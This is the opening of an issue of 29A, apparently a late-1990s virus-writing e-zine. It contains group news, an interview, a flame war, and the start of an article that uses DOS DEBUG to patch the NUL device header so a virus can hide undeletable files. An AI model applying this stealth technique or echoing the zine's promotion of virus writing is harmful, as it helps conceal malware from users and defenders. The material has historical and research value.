Académique Documents
Professionnel Documents
Culture Documents
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Mister Sandman/29A
It has passed over a year since our first issue was released, last december
in 1996. However this does not mean, like many people say, that we "release
one issue per year". No, that's not fucking true... we've spent one year in
order to release 29A#2 but that doesn't mean we will do that again. Lots of
circumstances drove us to be late, such as: some members doing the military
service, major changes and internal reestructuration, and most important of
all: the necessity to spend a lot of time on I+D work in order to start the
way in the so called "new school" (Win32). It's easy to notice now that, in
most of the cases, those who could not understand these reasons were either
kids with no necessity of doing the military service (by now) or coders who
are not still interested on spending their efforts on Win32.
You can find people out there claiming they "release 3 or 4 zines per year,
instead of 1", harassing you, making pressure and/or stupid jokes about the
reasons which make your zine get delayed, and so on. But the funniest thing
is they pay so much attention to your ass, so they do not pay any at theirs
and then get grasped, and it's their zine which gets delayed because of the
same reasons they were joking about a few months ago. Being serious now, it
is important to say that making comparisons about quantity is very easy. It
is also important to remember tho that YAM for instance, released three is-
sues in their eight months of life. We are not speaking about quantity, but
about quality. And also about contents plus continent, working in a proffe-
sional way, and offering interesting and innovating articles and viruses to
our readers. We do our best and we think it's ok, you judge :)
We hadn't released anything for over a year until this issue of 29A was up-
loaded to our FTP and eventually made publically available, and that is so-
mething like saying that you'll find the work of a whole year, here inside.
From now onwards things will change, and we hope we will release our future
issues within shorter periods of time. And this will probably mean that, at
least for us, "something better than 29A#2" will almost become an oxymoron.
However we will try, as it was one of our initial intentions, to make every
future issue of 29A better than the previous one(s).
About the scene there's a very important thing to say: it's alive, and it's
more active than it has ever been, in my (humble) opinion. Besides the fact
that lots of new groups have emerged, which is something always happens, we
can see many important virus groups such as iKx, SLAM, SVL, Stealth, and so
on (so on=the ones i've unintentionally forgotten), as well as, for instan-
ce, magazines based on external collaborations without any group supporting
them, ie Sources of Kaos. As you can see there's a lot of competence and it
is pretty obvious that there's still a lot to do in the scene ;)
And i think this is all by now... there is a separate article, called "News
since 29A#1", in which we try to describe more or less what has happened in
the scene and in 29A as part of it, since our first issue was released. Now
it's time just to wish you will enjoy this new issue of 29A, and to ask you
not to forget to read any of our articles, we hope you'll like them.
Mister Sandman,
bring me a dream.
News since 29A#1
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Mister Sandman/29A
In a whole year it's obvious to say that many things happened. And it would
be a real fuck to try to sum them all up in this article, so we'll only try
to write a brief report about the most important events which took place in
all this time. In fact there's nothing too interesting here, just some kind
of curious news which may seem funny or at least not boring to you. For us,
they were great and amazing experiences we hope we'll go thru again.
First of all, after the release of 29A#1, was the discovery of some bugs in
the article browser and some errors in a few articles. Our first e-zine was
just a test and i think it was a pretty good first step. And it meant a big
help for us in order to get some experience about magazine releasing. There
was as well kind of a "lack of fame", what forced us to be lame in some as-
pects of the magazine (in the esthetic side) such as the sucking ANSI i had
to draw myself in less than 30 minutes before releasing the zine. Many long
conversations about this and other aspects of 29A took place, while our ho-
lidays (the VX ones) finished and we had to restart writing viruses. It was
nice however to have received tons of e-mails from almost every part of the
world congratulating us for the work we did in 29A#1.
IMPORTANT!!! if any of the e-mail addresses below does not work, try to use
cryogen.com instead of islatortuga.com, or vice-versa. It is also important
to note that we are probably moving in the next months to 29A.org, so these
addresses may become obsolete soon, albeit they'll still exist, and we will
keep on checking them from time to time.
-COLLABORATORS-
Now that these important news have been told, it is time to start reporting
the trivial events. I would first mention our appearances in the media. The
first one was in PC Revue (?), a slovakian paper-printed magazine, where we
could read a brief comment about my AntiCARO virus. After this, we received
via Internet an e-mail from a guy called Javier Guerrero, who heads a virus
oriented section in a spanish paper-printed magazine called PCman¡a. We had
some chats about what we (29A+him) exactly wanted, and after that short pe-
riod of time, a full-color, four-page article about the virus scene and 29A
appeared in PCman¡a, which is one of the most popular computer magazines in
Spain. In the next month, he dedicated another -even longer- article to the
analysis of my virus Torero, and two months ago we were mentioned in an ar-
ticle dedicated to virus payloads, as before last summer we had talked with
him about the idea of writing such an article, and provided him with some
of the most known virus payloads. Besides, we have been interviewed by many
other media, and we're waiting right now for more public appearances. These
plans include our probable presence in a TV program!, plus the already con-
firmed announcement of the release of 29A#2 in PCman¡a, and some article(s)
in another spanish paper-printed computer magazine (the best sold i think),
called PC-Actual. But this all is a surprise we would not like to unveal by
now... just keep on visiting the 29A Labs! ;)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
On cover: "Exclusive interview to spanish virus creators"
Index : "[...] we offer to you a very interesting interview with two mem-
bers of a spanish group of virus creators, called 29A. In an in-
formal chat, our guests describe their methods, their history,
and their future plans, as well as their opinions about the na-
tional and international virus scene".
Page 141: "Nowadays, 29A is, internationally, the most important virus cre-
ating group, as well as the first and unique one from Spain".
Page 142: "Writing viruses the way we do in 29A is to code for art and ent-
ertainment, not for effectiveness and destruction (Mr.Sandman)".
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
The whole article has been converted also into a webpage, so everybody own-
ing a browser may check it out at the official website of PCman¡a, together
with other articles 29A was mentioned in:
(*) http://www.canaldinamic.es/PCMANIA/PC057/VI/pc057vivirus0000.html
(*) http://www.canaldinamic.es/PCMANIA/PC058/VI/pc058vivirus0000.html
(*) http://www.canaldinamic.es/PCMANIA/PC061/VI/pc061vivirus0000.html
Other funny event took place last summer, in Madrid. We celebrated the very
first european VX meeting, albeit it was initially supposed to be a meeting
only for 29Aers. However that's what it eventually became, as most of those
VXers who were supposed to come finally couldn't, because of several diffe-
rent reasons. For instance, Rajaat planned to go by car from UK till Luxem-
bourg, where he'd meet CoKe and then come to Spain. A completely unfortuna-
te last-hour crash the same day he was leaving the UK messed every plan and
made impossible to meet them... driving while being stoned... you know ;)
The only foreigner we could meet was Spanska, from France. After having met
everybody we went to a restaurant and had our meal. Then we went for a walk
to a cybercaf‚ where we connected to IRC and had some fun on-line, and that
is when we decided to split for meeting later in order to go party. Some of
us went to the most famous square in Madrid, Plaza Mayor, were we could sit
in a bar and try to write a virus together, it was a pretty funny thing al-
beit we couldn't finish it (too much heat) :) Other people such as GriYo or
Spanska decided to go their way in order to have a rest, so they could have
their energies on top when going party. However, this was the last time any
of us saw Spanska, he felt asleep in his car until the next day :) We remet
at 22:00h or so in a McDonald's, and then went to some pubs and night bars,
including GriYo's... and our party stopped around 5:30h or so, with some of
us (especially GriYo and i) a little bit drunk :)
It was a great experience we'll repeat this summer, first in Madrid and la-
ter -hopefully- in Amsterdam. But this time things will be much more diffe-
rent, and besides we already know for sure right now that b0z0, Darkman,
Reptile, Rajaat, and Spanska are coming, so we are sure it'll be impossible
to stop laughing and having fun for an only minute. And there are also some
rumors, btw, about the possibility of organizing a ganja-smoking contest so
we may know at last who the fuck is the king, god or whatever of ganja ;)
And last but not least, like every year, the SIMO convention (an enterprise
based computer exposition, with stands and so on) took place in Madrid, and
29A couldn't miss it ;) This time it was GriYo, Wintermute, Mr. White (col-
laborator), and i who represented the group. It was nice to meet personally
the developers of Panda, the most important spanish AV product. They were
in every moment very kind and proved that it is possible to have a good re-
lationship with "the other side". In this case, it was VX and AV who shared
a funny and friendly chat, for some minutes. We could also visit the stands
of other AV products, such as F-Prot, AVP, TBAV, Scan, etc, but it was good
enough to stop at them and have some laughs... there were only salesmen, so
it would have been a loss of time to try to speak with them :P
And this is all, more or less... there's another event about to come, which
deals with the cellebration of the release of 29A#2, but i guess the report
of this party will be part of 29A#3, so... wait until then!
Mister Sandman,
bring me a dream.
29A distro sites
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Mister Sandman/29A
In order to know the most recent news in 29A, look for our latest releases,
and be able to download binaries of our viruses as soon as they're made pu-
blically available, don't hesitate to go visit our "29A Labs", the official
website of the group, at http://29A.islatortuga.com. Please note that we're
moving soon to http://www.29A.org. However 29A.islatortuga.com will keep on
working for a long time until we complete our "migration".
If what you want is to chat with us you can always try at IRC, as we use to
spend a lot of time in the #virus channel of Hispanet, the spanish network.
Connect to one of the servers below and look for us, our nicknames are lis-
ted in the "News since 29A#1" article:
Since 29A#1 was released many sites (both webs and boards) showed their in-
terest on distributing officially 29A. If want to join the list of 29A dis-
tribution sites, just e-mail either Darkman or me (you can find our address
in the "News since 29A#1" article) and specify in your message: the name of
your website/board and its address/phone number.
Mister Sandman,
bring me a dream.
Our greetings
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Mister Sandman/29A
Reptile's greetings...
We would like also to send special greetings to Javier Guerrero (thanks for
all, man!), Bernardo Quintero (great work coming soon heh?), our friends at
Panda Software (eat this!!! :P), and of course, to all our buddies at #hack
in Hispanet, especially: BINARIA, DarkNail, mainboard (also his girlfriend,
Ic¡ar) and Case_Zer0 (the ones i go out with more often in Madrid), also to
PhiSk, for his loyalty and a big favor i still owe, La_Santa (heheh, my cy-
berwife) and to my best friends there (or at least, those ones i can remem-
ber right now - alphabetical order): _TaNiS_, |AkratA|, |AmandA|, |aRuSHa|,
|fit0|, Akira, BiLLsUcKs, Clarisita, dairo, deadrose, Goku, Jany, Mia (wel-
come to Jack Rabbit Slim's) ;) NecronoiD, RAGE_666, SiLbY, Sr-aSpid and VaW
(not a #hack addict tho). If you are not included here, don't think you are
less important than the above for us... sometimes we even forget ourselves!
Thanks to...
Mister Sandman,
bring me a dream.
Legal stuff
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Mister Sandman/29A
Not many changes since 29A#1 so... eat more or less the same text :P
Erhhhmm... well, i really hate to do this kind of things but it's necessary
anyway so... ok, let's suffer a bit to make my lawyers happy :)
Albeit most of our readers are supposed to have more than one virus, and to
be even able to code viruses by themselves so they ain't the typical lamers
who are looking for destructive code in order to fuck some computers at the
school they "study" in we are conscious about the fact that exists a little
and very unprobable risk to fall in the greasy hands of one of these gimps,
so we'd like to make clear that the only reason which drives 29A to release
this magazine is the basic principle of the educational purposes.
As Qark said, "if we don't hurt the community, community won't hurt us" ;)
We are not responsible of any damage caused due to the misuse of the infor-
mation (articles/viruses) released in this issue of 29A, just same as some-
body who makes knives isn't responsible if some schizo uses one of the kni-
ves to kill another person or to cut his dick off, got what we mean?
If so, go ahead and enjoy the magazine. Otherwise just get the fuck out :)
Mister Sandman,
bring me a dream.
Interview with Qark
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Mister Sandman/29A
For this second issue of 29A, we decided to interview Qark, one of the best
virus writers ever (maybe the best?), who left VLAD and the scene about one
year ago. Albeit his lack of free time, this very good friend of mine was
eventually able to make possible to bring you now this great oportunity to
know him better.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
29A> Ok, Qark... this is the classic first question of almost every inter-
29A> view... tell me why did you choose your nick
When Metabolis and I started out with VLAD we had local scene nicks that
everyone knew, so we had to get new ones. (Obviously meta wasn't always
called meta). When I first jumped into irc for #virus, every nick i
picked was always taken, so I thought to myself "What nick could I
possibly pick that noone will ever use ?", and picked Qark - because it
defies the laws of English by dropping the 'u'. But why "Qark" out of
all the "Q" words ? I don't know.. I can't think of any other "Q" words
to be honest.
I didn't own a computer until after I left highschool. (A few years back).
My first computer was a mighty 8088 XT with 20 Meg hard disk and EGA
monitor :)
29A> And when did you first know about a computer virus (first experience,
29A> with which virus(es), etc)?
The first I ever heard about computer viruses was when TZ's X-Fungus virus
infected Suncorp (a local bank) on the radio. The first virus I ever
encountered in the flesh was 1575 (green caterpiller) on someones computer.
I took a copy home so that I could work out how to make a virus of my own
but it was beyond me at the time.
29A> Ok, now about viruses... tell me which ones have you coded, and/or
29A> the ones you like most
Let me see.. I've written a whole heap of viruses. Father, Mother, Sister,
Brother (Incest family - Very lame) - VLAD#1
Actually mother wasn't too bad. It still stealths everything.
29A> Btw, about VLAD (unavoidable question) :) you left the group... you
29A> said you didn't have the time for doing other things... explain it
29A> better, please... did you get a girlfriend? :)
By "other things" I meant "anything". Spend your time vladding and the
rest of your life goes to hell.
I did the vxd routines in a couple of win95 viruses so I'm still coding
every now and then..
29A> And more thingies about VLAD... could you tell me something about its
29A> story (who, when, why decided to create it, etc)?
I'm pretty vague about it, but I think it went like this: Meta read ir#2
and thought "cool, im gonna start my own virus group and call it vlad".
At this stage I didn't know him at all. A day later he was chatting to the
sysop of the local warez board about his latest group when he was put in
touch with me. And voila thats how it started.
Meta had his own shareware bbs where he was the good-guy sysop, while in
a secret area was the vlad virus section. There we would swap code for
our latest direct-action virii :)
When we got enough dross ready to produce vlad1 I jumped on the bus and
the train and went out to his place to put it all together. We met for
the first time at the train station. Nothing much happened at his place
apart from the magazine production. The main thing I remember is it being
freezing cold .. we were working on it until the early hours of the morning.
Somewhere along the track meta met TZ and invited him to our private vlad
conference on his bbs. We'd discuss virii techniques..
Sometime later we went onto IRC and our story is well known since then..
29A> Which is/are your favourite virus(es)?
The new virus by Quantum and I is really cool :) coming to a hard disk
near you :)
29A> Do you think the perfect virus exists or might be ever coded?
29A> How will the 'viruses of the future' look in your opinion?
29A> Ok, now let's have a look at the other side... AVs and AVers. Which
29A> is the AV you like most?
AVP is pretty good. Its win95 version really needs a scanning VXD though.
29A> Heh... one question is enough for those niggas ;) now about the virus
29A> scene... give me your point of view about it (old groups, new groups,
29A> who's cool, who sucks... you know) :)
Nuke, rabid and yam were all lame.. but trident and p/s were good.
29A> Finally, just send a greet to someone, say something, sing, write a
29A> poem <g>, pull yourself :)... dunno, whatever you want. This is your
29A> free space :)
RIP TZ :(
Greets fly out to Metabolis and Quantumg and all the people I like.
Mister Sandman,
bring me a dream.
Words from Jacky Qwerty
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Jacky Qwerty/29A
First of all, i would like to send some short comentz and general greetz to
the good and bad virus scene. Yes, i think there exists such diference and
thats something that should be "pointed" out. Apart from this i'll take the
chance to describe my articlez, virusez and utilitiez included in this 29A
issue as well as my true purpose on writin and spreadin out this knowledge.
The other side is the "bad" virus scene, which is made of vandalz who have
childish programin habitz. They move and act by the simple "minimum effort"
principle. They rather enjoy randomly writin or formatin a hard drive, than
squeezin both skull and brainz out in an atempt to code some more creative
and interestin stuff, not the awful boresome shit they're acustomed to. For
the former purpose, i'd strongly recomend to download the AVP enciclopedia
DOS edition, and take a look at all the "kick ass" virus demoz it containz.
Needless to say, I, as a VXer and member of the 29A group team, have nothin
to do with this "bad" side of the virus scene and be sure i will reject any
chance to become a "vandal" for dayz to come. Did u stick that Bontchy! #8P
No greetz at all to the increasin number of lamerz and wannabeez who feel
they are the bad guyz and best coderz on earth just by writin destructive
nonsense rubish and wipin out compz at skool or friendz, you all suck! :(
As bein part of the first group, i really hope you enjoy this 29A#2 isue as
it is full of hot new ground-breakin kick-ass stuff from top to bottom ;)
Quick description
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
For my part i have writen and coded some nifty Win32 (WinNT/Win95/Win32s)
virusez: (1) Win32.Jacky, the very first Win32 infector. (2) Win32.Cabanas,
the very first resident, stealth, antidebuged, antiheuristic Win32 virus.
(3) DogPaw, a simple but powerful DOS virus, which is able to infect DOS,
Win3.1, Win95, WinNT and OS/2 aplicationz via a recently discovered back-
door, thanx Casio. (4) WM.CAP, my first and only macro virus writen as an
entrance to the macro stuff world, simple in structure (who said complex?),
but very powerful and infectious by nature - heck i didnt know it would be-
come so comon, blame Microsoft for their stupidity -. This is all with res-
pect to my virusez.
I have also prepared a couple of articlez about macro stuff, they are named
(1) Macro virus tricks, and (2) WordMacro.CAP virus description. The first
article deals with two known limitationz with actual macro virusez and then
proposes solutionz for them. The second article gives a full description of
a real macro virus and serves as a good compliment for the first article.
Finally, i have writen two especially useful utilitiez for Win32 (with C
source code included): (1) GETPROC, a Win32 console aplication very useful
for beginerz, which also serves as a compliment for the PE infection tuto-
rial. And (2) PEWRSEC, a simple DOS program which will be very useful for
you Win32 ASM coderz once you understand the benefitz of a R/W code section
on a PE file: you will be able to include the first generation sample of
your Win32 virus in the code section, as you usually did in DOS, and you
will also be able to debug it with symbolic information included along with
the source code. And last but not least, i have prepared myself some useful
INC filez for DOS and Win32: (1) USEFUL.inc, (2) MZ.inc, (3) WIN32API.inc
and (4) PE.inc. This include filez will make more sense once u have delved
yerself into the Win32 world.
Now,
Enjoy!
Preface
ÄÄÄÄÄÄÄ
It has now been half a year ago when our magazine got out, and since then
you haven't heard much from us anymore... Why? I hope to cover some of the
things that happened in IR/G and what the current status is (as far as I
know, that is).
Sepultura's departure
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Shortly after the release of IR#8 Sepultura, our main organizer and back-
bone of IR/G decided to leave the scene altogether. I do miss his programm-
ing skills that I don't have. Although I don't blame him, his departure was
in my eyes the beginning of the end of IR/G as I know it. I hereby want to
thank him for all the things he has done for me and for IR/G.
No backbone
ÄÄÄÄÄÄÄÄÄÄÄ
With the departure of Sepultura we also lost our talent to organise. With-
out this backbone, we weren't able to bring out any magazine after IR#8. We
tried to find another person in our group with the ability and will to or-
ganise, yet we couldn't find/trick someone into taking that task upon him.
Without any organisation, a group cannot be in my view.
Hate to code
ÄÄÄÄÄÄÄÄÄÄÄÄ
Not being motivated very much, I found myself unable to program very much.
My time being consumed by college I had a little time to research virus-re-
lated issues. All I could do is think of nice tricks, program them and com-
ment them a bit, but I could not find the heart to make a total virus for
it. This left me with a huge pack of tricks, which I haven't used in viru-
ses yet. Eventually I hope I can find the motivation and time to put all
these tricks together in one big virus, which will probably be my last vi-
rus I will make. This is not caused by a lack of interest, and of course I
will stay in the scene trying to think of new tricks and innovate ideas.
Prologue
ÄÄÄÄÄÄÄÄ
Due to the circumstances and the overall quality of the viruses produced by
IR/G I think it suits me and them best that I leave the group and continue
the path of virus writing on myself, contributing things to various groups.
I hope that the other people in IR/G won't be mad about my decision to lea-
ve them. I wish them all the best, and hereby my promise that this is not
the last time they will hear from me.
Thanks
ÄÄÄÄÄÄ
Given the opportunity here I would like to thank quite a few people who ha-
ve supported me in the past and hopefully will stay to do so in the future.
The Unforgiven, for his many email conversations, excellent ideas on human
nature and beliefs, and, most importantly his friendship during the time. I
hope I will be able to meet you sometime. Rogue, for showing his excellent
code examples, although I've never witnessed any program of him finished in
the wild, save for one. Most probably a badass to other but a friend to me.
Mister Sandman, to whom I gave this article in order to publish it in their
second magazine (they beat us *grin*). Sepultura, for his organising skills
and trying to keep the whole lot together. I could thank a lot more people,
but I think that I must keep it short, because nobody is interested in it
save for the people who are actually thanked.
Last update
ÄÄÄÄÄÄÄÄÄÄÄ
It sure looks like that when I write some article, it always seems to get
outdated when magazines don't get released as quickly as anticipated (sorry
folks, couldn't resist joking about it). But since the time I wrote the up-
per a few things happened. You probably have read now somewhere in this ma-
gazine that I've become a member of 29A! My hate to code went away but that
doesn't mean I've plenty of times to code, but I'll do my best and see what
I can have in store for you.
Rajaat / 29A
Envy makes dorks resuscitate
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Mister Sandman/29A
It has passed one year or so since IRG#8 (actually IRG#1, but many people
seem to think with their ass) was released. And happily that's the last ti-
me we had the chance to hear about a pampered child whose protagonism and
egocentrism desire reached its real highlight. You know who he is.
He retired because he "did not have enough time to keep on leading IRG", as
school sucked most of his free time. Well... for a long time we were almost
forced to swallow his childish attitude, his deic-wannabe behavior, and his
lots of attempts to suck the whole attention everytime, everywhere (haven't
you ever hated to read his stupid introductions to somebody else's articles
published in IRG#8?). And we had to read BULLSHIT like this from him:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
[...] The magazine is about 1.4 meg, of which about 99% of which is actual
articles. Unlike some 'virus' magazines we dont need 500k viewers / intros
/ music files to impress.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
A pretty modest boy, heh??? but that's not all. Besides this, we all in the
virus scene had to stand him claiming "IRG#8 is the best zine about viruses
ever released", being that a real offense to VLAD and the great work they
did during their presence in the scene. Now it is when we all realise about
why this boy i'm talking about is so "well appreciated" among most of the
mentally sane and concious-of-what-they-say virus writers.
Fortunately he retired and left the scene. IRG died. And we all lived much
better since that happened, as we had to stand no longer any motherfucking
candy eater telling us shit about how cool he was. While he was comfortably
pulling himself home, we all were happily having a good run of things in
the virus scene. In fact everything was going almost perfect.
And that's why he briefly reappeared by june/july of this year, using other
nick and apparently trying to hide his previous identity, and to dazzle the
scene with a new virus he had written. This virus was released via IRC (as
far as i know) within a ZIP file which contained, among others, a text file
called "readme.1st", which started this way:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
[...]
% Important %
_____________
[...]
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
It's a pretty curious thing to see what may ENVY drive people to do.
Well, it is obviously about us, 29A, who published the original source code
of Zhengxi in 29A#1, in december 1996. That's why i decided to use this
section of the magazine to reply such a stupid quote. So keep on reading my
answer for the child, same as if it were an e-mail reply:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ From : Mister Sandman/29A, <mrsandman@cryogen.com> ³
³ To : The Soul Manager (previously known as *********), <***@***.***> ³
³ About: Your big mouth ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Hi fool.
> I do not give permission to anyone to publish this virus in their Vx zine
Do you think i'd ever publish anything from you in 29A? not in this life...
> This means the fools who published the source to Zhengxi, 6 months after
> it was made publicly available, and kept rambling on about they were the
> zine to release the source..
You mean the same ones who kicked your ass? ah, yeh, it's us... well, i
don't really mind a shit what you think or don't, but i'll try to make
things clear for the rest of the people who are reading this.
Zhengxi was first publically released in june 1996, but only in its binary
form. And it was only a few weeks before 29A#1 was released, in december
1996, when some fortunate VXers could get the original source code for it,
and that's what we eventually published, with the agreement of its author,
as at that time Zhengxi was so far the most asked virus in the scene.
And that's why we say we were the first zine to release the source, as it
is the only truth. No one else did it before.
In fact we even know who you are, despite your intention to hide yourself
under a new nick (The Soul Manager) and then talk shit about us, instead
of encouraging yourself to say what you think with your original nick.
Pathetic.
With Zhengxi or without it, you're still dead and i'm still Elvis.
Mister Sandman,
chew my success.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
I would finally like to add a brief text in latin, the language which gives
(actually gave) his nick to the dork i'm talking about, to describe what he
exactly makes me think and the way i feel every time i hear about him.
Oh, and... he's giving out all his shit as he's now changing his nick again
so keep your eyes open and watch any dork you meet out.
Fuck drugs off and get your rage in your ass, idiot.
Mister Sandman,
bring me a dream.
Article separator
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Mister Sandman/29A
What is this article used for? answer is nothing. Its functionallity is me-
rely esthetical, as it keeps the articles separated of the executable files
of the magazine. So why am i writing anything here? well, there are still a
few thingies which haven't been told in the rest of the articles and result
kinda interesting or funny to read.
For instance, do you know that: 666 * 3 = 1998? it seems like this is gonna
be a magic year for the VX side. Will AVers die? will they be satanized? or
will they maybe get medieval in their asses? who knows :)
Other thing you should note is the fact that we have not included any virus
index in this issue. It seemed to us pretty stupid as they are described in
detail both in their corresponding source and in the "29A Labs", our websi-
te... describing them one more time would be a pain.
There are also one couple thingies pending... the password for the secret
area of our previous issue was "29akewl". We accept no complains, we didn't
have much imagination at that time and were quite hurried, so... :P
The other pending thing is the importance of the new features of our impro-
ved file browser. Now it is possible to load it with or without mouse, with
or without intro, and so on. And once loaded, when reading any article, you
will be able to choose between smooth or hard scroll. Now it is also possi-
ble to run the payload of any virus included in our zine when having loaded
its source code from within the file browser. It is still possible, btw, to
UUdecode binary files, albeit we have not implemented this feature yet. And
finally, the screen saver can be loaded now just by pressing a hot-key.
And note this is a DOS application, so we don't make responsible of the way
it may work under *your* Windows95. At least under ours it works ok.
Mister Sandman,
bring me a dream.
Playing "Hide and Seek"
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
"Q" the Misanthrope
Hide in NUL-Space
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Wouldn't it be great to hide in a file that could not be accessed. You can.
There are little things called device drivers in your PC. COM1, COM2, LPT1
and CON are examples. NUL is also a device that serves little purpose ex-
cept do nothing. An example of this: COPY *.* NUL will read all the files
for errors and copy them into NUL-Space (nowhere). Try to create a file by
the name of NUL, what could you do with it? An experiment is necessary.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
c:\>debug
-a
mov ah,52
int 21
int 3
-g
AX=5200 BX=0026 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0C9C ES=00C9 SS=0C9C CS=0C9C IP=0104 NV UP EI PL NZ NA PO NC
0C9C:0104 CC INT 3
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
ES:BX points to the DOS list of lists. From Ralf Browns interrupt list:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Format of List of Lists:
Offset Size Description
00h DWORD pointer to first Drive Parameter Block
04h DWORD -> first System File Table
08h DWORD pointer to active CLOCK$ device's header
[...]
22h 18 BYTEs actual NUL device driver header (not a pointer!)
NUL is always the first device on DOS's linked list of
device drivers
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
-d es:48l12
00C9:0040 00 00 A6 C9 04 80 C7 0D ........
00C9:0050 CD 0D 4E 55 4C 20 20 20-20 20 ..NUL
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
-e es:52 "AUTOEXEC"
-q
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Back to DOS.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
c:\>type c:\autoexec.bat
c:\>del c:\autoexec.bat
Access denied
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Format of DOS device driver header:
Offset Size Description
00h DWORD pointer to next driver, offset=FFFFh if last driver
04h WORD device attributes (see below)
06h WORD device strategy entry point
call with ES:BX -> request header
08h WORD device interrupt entry point
0Ah 8 BYTEs blank-padded character device name
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
-d es:48l12
00C9:0040 00 00 A6 C9 04 80 C7 0D ........
00C9:0050 CD 0D 4E 55 4C 20 20 20-20 20 ..NUL
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
We see that the next device in the chain is at C9A6:0000h, attributes are
8004h and that the strategy and interrupt entry points are 00C9:0DC7h and
00C9:0DCDh. The strategy and interrupt points for a NUL device just need to
point to a RETF (they really could point anywhere since they are not used).
When your virus starts, have your virus create a first generation virus
whose host is the standard CD 20 (terminate immediately) before it starts
